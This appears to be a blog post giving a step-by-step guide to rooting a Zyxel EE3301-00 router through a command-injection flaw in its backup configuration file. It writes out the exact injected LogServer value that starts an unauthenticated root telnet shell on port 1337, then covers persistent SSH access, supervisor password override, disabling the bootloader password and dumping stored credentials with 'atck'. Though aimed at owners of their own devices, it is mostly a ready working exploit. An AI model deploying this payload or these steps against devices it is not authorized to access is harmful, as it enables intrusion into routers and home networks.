The BIG DISCLAIMER
- These steps worked on the device I have, which is an EE3301-00 router running firmware
V5.63(ACMU.2)C0.
While I strongly suspect that what's described below will work for all the devices/firmwares flagged as affected in the relevant Zyxel advisory, I make NO GUARANTEE that this will be the case. - If you are not careful, you can easily brick your device by executing root commands. Therefore, should you choose to follow these steps, you explicitly assume ALL the risks, including potential loss of data, or the manufacturer/ISP being unwilling to service your device, or your hardware becoming irreversibly damaged. In other words, no matter of how much you may want to believe otherwise, these steps SHOULD be construed as an explicit and very deliberate breach, by you, of your device's warranty. Should you choose to proceed, you therefore tacitly agree that any servicing and/or replacement cost, subsequent to attempting to root your device, is 100% with you.
- I do not take any credit for finding or even figuring out how to exploit this vulnerability. The vulnerability was discovered by William Honnér, who responsibly disclosed it to Zyxel, which in turn led to the CVE-2026-6952 advisory that I used as my starting point. I had no contact whatsoever with William Honnér, be it direct or indirect, with regards to how one could practically exploit this vulnerability, which he obviously managed to perform long before I did. So, whereas all the credit for the discovery of the vulnerability should go to him, none of the blame for its actual public exploitation should be directed at him.
The easy-to-execute, "even my grandma could do it", steps
- Log in into the web console of your device and validate, from the System Info section, that, first, your Model Name is listed in the Affected model from this page, and that your Firmware version is lower than the Patch availability* version listed for the same model. If that is not the case, the exploit is unlikely to work.
- Click on the extended menu (The 3 horizontal bar symbol, in the top right), go to Maintenance → Backup/Restore and click the Backup button to save a backup, which you should name as
Backup_Restore.json. Please make sure to add the.jsonextension, so that editing the text with a smart text editor that provides syntax highlighting will be easier. - Now go to the directory where you saved the file, open it with a text editor of your choice, and search for the string
"LogServer"(including the double quotes). There should only ONE such line in the whole file, most likely with the content"Logserver":"0.0.0.0",(but the part in quotes after"Logserver":doesn't really matter as we are going to replace it). - Now replace the full Logserver line in the file with this line exactly:
"Logserver":"0.0.0.0\");program(\"[ ! -f 192.168.1.100 ] && { echo 'exec /bin/sh'>192.168.1.100;/usr/sbin/telnetd -l /bin/sh -p 1337; }\");};#", - Then, in the content you just inserted, replace both
192.168.1.100above with the IP of the client machine from which you will issuetelnetand save the file. On Windows, you can find your IP withipconfigand on Linux withip addr. Note that this is not the same as the IP of the Zyxel device (which would usually be 192.168.1.1) but the IP of your Windows, Linux or Mac machine. Unless you use the right IP, the telnet session will terminate prematurely. - In the we console, still in the Maintenance → Backup/Restore interface, go to Restore Configuration and click the Browse... button to select the file you just edited. Then click the Upload button and wait for the update to be applied. Your Zyxel device will reboot.
- Once the device has rebooted, log back to the web console and Go to Maintenance → Log Settings. Make sure Syslog Logging is set to enabled and set Mode to Remote, then navigate to the bottom of the page and and click Apply.
- From a command prompt on the client machine, issue
telnet 192.168.1.1 1337(making sure to specify same telnet port as what was set for-pparameter above), and then, as you marvel at the beauty of your newly acquired BusyBox root shell, utter the obligatory "We're in...".
The (small) troubleshooting section
- If you're on Windows and you get
'telnet' is not recognized as an internal or external command, you need to install it from the Turn Windows features on or off in the Program and Features of the Control Panel. Google it! - If you get
Could not open connection to the host, on port 1337: Connect failedorUnable to connect to remote host: Connection refusedit means that you either forgot to specify a port after the server IP address, or did not specify the same port as what is used for the -p parameter in the line you edited, or that you didn't enter the line properly (please pay attention to the double quotes, the backslashes and the comma at the end of the line. These are important!), so just retry the steps and pay closer attention. - If you are seeing something like
/bin/ash: can't open '192.168.1.100': No such file or directory
after issuing the telnet command, it simply means that you didn't properly set the TWO IP addresses you needed to set in the field you edited. So please edit the.jsonfile again, make sure you set them up properly, and re-upload the file using restore configuration.
The suggested next steps
- Edit
/tmp/var/home/root/zcfg_config.jsonand add your SSH public key to theSshKeyBaseAuthPublicKeyfield you should easily be able identify for therootaccount. This key will be persisted across reboot/poweroff (but not if you reset your device using the reset pin at the bottom). After reboot this grants you permanent root shell access through ssh and allows you to disable the telnet hack (for which you can just edit theLogServerfield back to what it was using the web console. - Issue
passwd supervisorto override thesupervisoraccount password. This will allow you to logon on assupervisor/<the password you set>in the web console, which will give you access to extra administration fields, such as the super intrusive TR-069 protocol that sends data and grants access to your device and home network to your ISP and that you can then disable. Note that this password will not be persisted across reboot/poweroff. - (DANGEROUS) While logged as
supervisorin the web console, in the backup/restore menu, you will also find a ROM-D section where you can store your current settings as the version that gets installed when you press the reset button. You may want to use that feature to permanently store your SSH public key for the root account so that, even if you go through a firmware update that patches the vulnerability as well as a platform reset, you will not lose root access. But I would strongly suggest to only save a configuration that altered the root public key, and the root public key only, while leave all the other fields as they were from defaults, just in case. This is because, you will of course be able to restore all your other settings post reset using the regular console backup/restore (including the supervisor settings, if you have root access), so there's really no need to drastically alter the default reset configuration which could have unintended effects.
The Scooby-doo villain
With ssh sorted, since we also get a nice motd greeting, we can now also have a look at who our Zyxel OS "villain" actually was... Oh my, it was none other than good old:
BusyBox v1.33.1 () built-in shell (ash)
_______ ________ __
| |.-----.-----.-----.| | | |.----.| |_
| - || _ | -__| || | | || _|| _|
|_______|| __|_____|__|__||________||__| |____|
|__| W I R E L E S S F R E E D O M
-----------------------------------------------------
OpenWrt 21.02.1, r16325-88151b8303
-----------------------------------------------------
root@EE3301-00:/tmp/var/home/root#Hardware manufacturers using much better and freer Open Source projects as their base, and doing their darnedest to restrict/limit what they do? Who could have seen it coming?
The root/supervisor password retrieval (for advanced users)
Armed with that knowledge, and your trusty 3.3V serial adapter (where you may not even have to connect the 3.3V pin, as long as you do connect the other 3 pins), and using a serial line configured with the usual 115200 8N1 settings, you are soon able to access the whole boot sequence and interact with a Linux logon prompt... for which you do not know the root password.
Worse, if you try to interrupt the very inviting autoboot, you are also prompted for a password:
ZYXEL zloader v3.1.6 (07/23/2025 - 05:34:50)
!!! Initialize nand !!!
Multiboot clinent version: 2.8
Hit any key to stop autoboot: 5
Password:
Password:
Password:
Password:How rude!
Thankfully, with root access, the bootloader password issue can easily be remedied (by removing it entirely). To do just that, and logged as root, you should first issue the fw_printenv command and validate that you see a line that says:
EngDebugFlag=0x0
Then, only if you see that line, you should issue the command:
fw_setenv EngDebugFlag 0x1
From there, you can reboot and, in your serial console, you will find that you can now interrupt the zloader without being prompted by a password:
ZYXEL zloader v3.1.6 (07/23/2025 - 05:34:50) !!! Initialize nand !!! Multiboot clinent version: 2.8 Hit any key to stop autoboot: 5 ZHAL>
Now we're (actually) talking!
And it gets even better that that, as, in this prompt, you can issue the command atck which will give you the root/supervisor password you are after:
ZHAL> atck supervisor password: 7DU(su]#-v admin password : 4rS8+$7] WiFi PSK key : 4I3g@oN(78
(NB: Obviously, these are not my actual device passwords, but passwords, of the type Zyxel uses, that I generated online for the purpose of this example).
Now, even if you reset the firmware to defaults (using the reset button) or upgrade it to a non vulnerable version (since there's no way Zyxel will update root/supervisor passwords that people rely on while fixing vulnerabilities), you will still have root access. And will also have access to the supervisor account for the web console. Isn't it great?
It is also possible that there is a way to retrieve the root password without serial access (like sys atck used to be able to do from the root account), but it looks to me like Zyxel removed that and that you do need serial/bootloader access to do so.
The better way
"You know you can also get root without using save/restore and without having to reboot the device?"
Yes, I know. That's how I initially did it. And I am actually planning to document this in a subsequent post, titled "Zyxel, How we got there", which, IMO, will contain the more interesting part since it will detail the full trial and error process we went through for figuring out the exploit. However, adding JavaScript breakpoints and overriding JavaScript variables on the console is a bit more involved than editing a simple JSON text file, so that's why, whereas there does exist a more immediate way to get root, we chose simplicity over "l33t skillz".




No comments:
Post a Comment